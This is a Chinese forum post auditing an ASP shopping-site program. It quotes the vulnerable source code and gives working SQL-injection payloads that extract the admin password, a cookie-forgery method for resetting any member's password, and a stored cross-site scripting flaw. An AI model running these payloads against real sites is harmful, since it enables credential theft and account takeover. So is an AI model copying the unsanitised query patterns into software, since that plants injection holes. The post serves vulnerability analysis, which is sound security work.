作者:NinTy 来源:http://www.hackm.com/ 很糟糕的一套程序,我ASP不太熟悉,哪里写错了还请各位大牛指点! 注入: 共发现3个可注入的地方: Products.asp 发生在浏览产品的时候 代码如下: CODE: <%set rss=server.CreateObject("adodb.recordset") rss.open "select * from products where bookid="&request.querystring("id"),conn,1,3 //这里,取得id直接拼到了SQL语句里,注入产生了。! if rss.eof or bof then response.write "" response.end end if dim des if not rss("metad")="" then des=rss("metad") end if if not rss("metak")="" then keya=rss("metak") end if %> <%if IsNumeric(request.QueryString("id"))=False then response.write("") response.end end if 这里有一个有趣的问题哈,在查完库以后,才对ID进行检测,不知道这个程序员是怎么想的! 构造注入语句如下: CODE: http://localhost/shangwu/products.asp?id=353 union select ’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,admin,password,’1’,’1’ from admin 我用的FF,因为后面的javascript的干扰有可能会导致看不到结果。用FF把JS禁用掉 。提交以后,查看网页源代码,得到管理员的账号与密码: Getpwd2.asp 发生在找回密码的时候,代码如下: CODE: <% username=request.form("username") //直接从表单里拿到username的值 set rs=Server.CreateObject("Adodb.Recordset") sql="select * from [YX_User] where name=’"&username&"’ " //放入SQL语句 执行 ,注入发生了 rs.open sql,conn,1,1 If rs.eof Then %> 。。。省略。。。 <%if rs("Clue")<>"" then%> | ||||
问 题: <%=rs("Clue")%> //这里 输出Clue列的值,可以利用这里直接输出一个我们想要的列的值 在找回密码的框里输入: CODE: admin’ union select ’1’,’1’,’1’,password,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’ ,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’ from admin where ’’=’ " border=0 > 下一步,直接拿到了管理员密码: 3.Register.asp 发生在注册用户的时候 CODE: set rs=server.CreateObject("adodb.recordset") rs.open "select * from [YX_User] where Mail=’"&trim(request("useremail"))&"’ or Name=’"&trim(request("username"))&"’",conn,1,1 //直接拿到了useremail和username,就加到了SQL里。 if rs.recordcount>0 then //如果查询出来的记录数大于0 call usererr() //调用usererr() rs.close else 其中usererr()的内容是 CODE: sub usererr() response.write "
end sub 我们可以在useremail里做手脚。输入一个不存在的用户名与一个不存在的email,然后在email里再加上我们的注入语句,如果提示用户名或者EMAIL已存在,就说明我们附加的SQL语句是成立的! 如图: EMAIL那里输入的是:321564654@123.com ’ or exists (select * from admin) or ’’<>’ 结果:因为存在admin表,如果把admin改成aa,提交以后看到的就是空白页 更改任意用户密码: 发生在修改会员密码的页面, 看处理页面是如何处理的: CODE: action=request.QueryString("action") username=request.cookies("Cnhww")("username") //username是从Cookie里取到的 select case action 。。。。省略 。。。。。 case "savepass" set rs=server.CreateObject("adodb.recordset") rs.open "select * from [YX_User] where name=’"&username&"’",conn,1,3 if trim(request("userpassword"))<>"" then rs("password")=md5(trim(request("userpassword"))) //如果userpassword不为空,就进行修改 end if rs.update rs.close set rs=nothing response.Write "" response.End 。。。。省略。。。。 end select 我们可以伪造Cookie来修改任何会员的密码。! 先用我们注册好的用户进入会员中心,点修改密码,打开WSE抓数据包。抓到的内容: 把username=ninty 改成username=admin,这里我们修改admin这个用户的密码。Usernamepassword=123456&userpassword2=123456,这样就把它的密码改成了123456, 这个admin只是一个普通用户,并不是后台的管理员。管理员信息没保存在这个表里。 保存后用NC提交。 到前台用123456登陆。成功! 跨站 问题发生在会员留言那里:mymsg_hand1.asp CODE: sql="select * from sms" set rs=server.createobject("adodb.recordset") rs.open sql,conn,1,3 rs.addnew rs("name")="admin" neirong=request.form("neirong") ///入库的时候没有过滤 neirong=replace(neirong,"=======","======") rs("neirong")=neirong rs("riqi")=now() rs("fname")=request.cookies("cnhww")("username") rs.update rs.close set rs=nothing response.write "" response.end conn.close set conn=nothing 我们再看出库的时候有没有过滤呢? Hand1.asp: CODE: set rs=Server.CreateObject("ADODB.recordset") sql="select * from sms where (name=’管理员’ or name=’admin’) and zuti=’0’ order by riqi desc" rs.open sql,conn,1,3 if rs.eof and rs.bof then response.write " 收件箱中没有消息。 | else ......中间省略............ do while not rs.eof and pages>0 neirong=rs("neirong") riqi=rs("riqi") isnew=rs("isnew") fname=rs("fname") id=rs("id") if pages<10 then response.write " %> ......中间省略............ <%=replace(neirong,vbCRLF," ")%> |
|小黑屋|最新主题|手机版|微赢网络技术论坛 ( 苏ICP备08020429号 )
GMT+8, 2024-9-29 11:28 , Processed in 0.187613 second(s), 12 queries , Gzip On, MemCache On.
Powered by Discuz! X3.5
© 2001-2023 Discuz! Team.